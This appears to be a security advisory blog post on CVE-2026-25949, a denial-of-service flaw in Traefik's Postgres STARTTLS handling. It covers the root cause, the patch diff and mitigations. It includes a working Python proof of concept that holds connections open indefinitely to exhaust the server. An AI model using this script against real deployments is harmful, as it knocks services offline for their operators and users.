Feb 12, 2026·6 min read·9 visits
A Denial of Service (DoS) vulnerability exists in Traefik versions prior to 3.6.8. By sending a Postgres SSLRequest header (`0x0000000804D2162F`) and then stalling, an attacker can bypass the `readTimeout` setting. Traefik indefinitely waits for a TLS ClientHello that never comes, leading to resource exhaustion.
Traefik, the ubiquitous cloud-native edge router, has a nasty habit of trusting Postgres connections too early. CVE-2026-25949 allows an unauthenticated attacker to bypass configured read timeouts by initiating a Postgres STARTTLS handshake and then simply... stopping. By sending a specific 8-byte sequence, an attacker can trick Traefik into removing its safety deadlines, causing the server to hold the connection open indefinitely. A few thousand of these 'zombie' connections are enough to exhaust file descriptors and goroutines, effectively bricking the load balancer.
Traefik is the Swiss Army knife of modern infrastructure. It doesn't just shuffle HTTP requests; it handles TCP, UDP, and does fancy things like SNI routing and protocol detection. To make this magic happen, Traefik often has to 'peek' at the first few bytes of a TCP stream to decide where to send the traffic. It's like a bouncer checking your ID before deciding if you go to the VIP lounge or the dive bar downstairs.
But here's the catch with protocol parsers: they are notoriously fragile state machines. When Traefik is configured to handle Postgres traffic, it looks for a specific handshake—the STARTTLS request. The logic is supposed to be: 'Oh, you speak Postgres? Let me upgrade this connection to TLS for you.'
In CVE-2026-25949, the logic flaw isn't in the parsing itself, but in the trust Traefik grants the connection once it recognizes that handshake. It's the digital equivalent of a bouncer letting you in because you look like a celebrity, only to realize you're just standing in the hallway blocking everyone else, and he's legally not allowed to kick you out.
In Go networking, timeouts are your lifeline. You set a SetReadDeadline so that if a client connects but says nothing, the server kills the connection after a few seconds. This prevents 'Slowloris' style attacks. Traefik has a configuration specifically for this called respondingTimeouts.readTimeout.
The vulnerability lies in how Traefik handled the transition from a raw TCP connection to a Postgres-specific handler. When Traefik's TCP router peeked at the bytes and saw the Postgres SSLRequest magic bytes (0x0000000804D2162F), it immediately decided, 'Okay, we are doing a TLS handshake now. Handshakes can take time, so let's disable the generic read timeout.'
Crucially, it disabled the timeout before the TLS handshake actually completed. It cleared the deadline (conn.SetDeadline(time.Time{})) the moment it saw the Postgres bytes. This created a window where the connection had no timeout enforcement whatsoever. If the attacker sends the magic bytes and then simply goes to sleep, Traefik waits. And waits. And waits. Forever.
Let's look at the actual code change in commit 31e566e9f1d7888ccb6fbc18bfed427203c35678. The vulnerability lived in pkg/server/router/tcp/router.go. The developers were too eager to clear the deadline.
The Vulnerable Code (Before):
// pkg/server/router/tcp/router.go
if postgres {
// DANGER: Clearing the deadline immediately upon detection!
if err := conn.SetDeadline(time.Time{}); err != nil {
log.Error().Err(err).Msg("Error while setting deadline")
}
// Hand off to the Postgres handler
r.servePostgres(r.GetConn(conn, getPeeked(br)))
return
}The fix was simple but critical: move the deadline removal inside the servePostgres function, and only execute it after the ClientHello has been successfully parsed. This ensures that the time spent waiting for the client to send the TLS Hello is still governed by the read timeout.
The Fix (After):
// pkg/server/router/tcp/postgres.go
func (r *Router) servePostgres(conn net.Conn) {
// ... code to write 'S' response ...
// Wait for the ClientHello (still under the original timeout)
hello, err := clientHelloInfo(br)
if err != nil {
conn.Close()
return
}
// SAFE: Only clear the deadline AFTER we have a valid handshake
if err := conn.SetDeadline(time.Time{}); err != nil {
log.Error().Err(err).Msg("Error while setting deadline")
}
// ... proceed with routing ...
}Exploiting this is trivially easy. You don't need shellcode. You don't need complex heap grooming. You just need Python and a socket. The attack works by emulating the first half of a Postgres handshake and then ghosting the server.
Here is the attack logic:
\x00\x00\x00\x08\x04\xd2\x16\x2f.S from Traefik (confirming it's ready for SSL).Because Traefik has cleared the deadline, this connection is now immortal. It consumes a file descriptor and a goroutine. If you spawn 5,000 of these concurrent connections, you will hit the operating system's ulimit -n (file descriptor limit) or exhaust RAM via goroutine stack allocation. The server stops accepting new connections. Game over.
import socket
import time
# The Magic Bytes: Length (8) + Protocol (SSLRequest)
POSTGRES_MAGIC = b'\x00\x00\x00\x08\x04\xd2\x16\x2f'
def zombie_connection(target, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(POSTGRES_MAGIC)
# Read the 'S' response
s.recv(1)
# Now we sleep forever, holding the FD open
while True:
time.sleep(60)You might think, "It's just a DoS, it's not data theft." While true, for a component like Traefik—which sits at the edge of your infrastructure—availability is the single most important metric. If Traefik goes down, everything behind it goes dark.
This attack is particularly dangerous because it is asymmetric. The attacker uses negligible bandwidth and CPU. They send 8 bytes and sleep. The victim, however, holds expensive resources. A single attacker with a laptop on a residential connection can topple a production-grade cluster if connection limits aren't strictly enforced at the firewall level.
Furthermore, because the connection is technically 'established' and idle, it might fly under the radar of simplistic WAFs or rate limiters that only look for high-volume HTTP requests. It looks like a slow DB connection, which is common in many environments.
The immediate fix is to upgrade to Traefik v3.6.8. This version correctly defers the deadline removal until the handshake is complete.
If you cannot upgrade immediately, your mitigation options are limited but helpful:
maxConnections on your entrypoints. While an attacker can still fill this table, it prevents the process from crashing entirely due to OOM or FD exhaustion, potentially preserving other entrypoints.ESTABLISHED state that have zero throughput.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Traefik Traefik Labs | < 3.6.8 | 3.6.8 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 (Uncontrolled Resource Consumption) |
| Attack Vector | Network (Remote) |
| CVSS v3.1 | 7.5 (High) |
| Impact | Denial of Service (DoS) |
| Affected Protocol | TCP (Postgres STARTTLS) |
| Patch Commit | 31e566e9f1d7888ccb6fbc18bfed427203c35678 |
The software does not properly control the allocation and maintenance of a limited resource thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.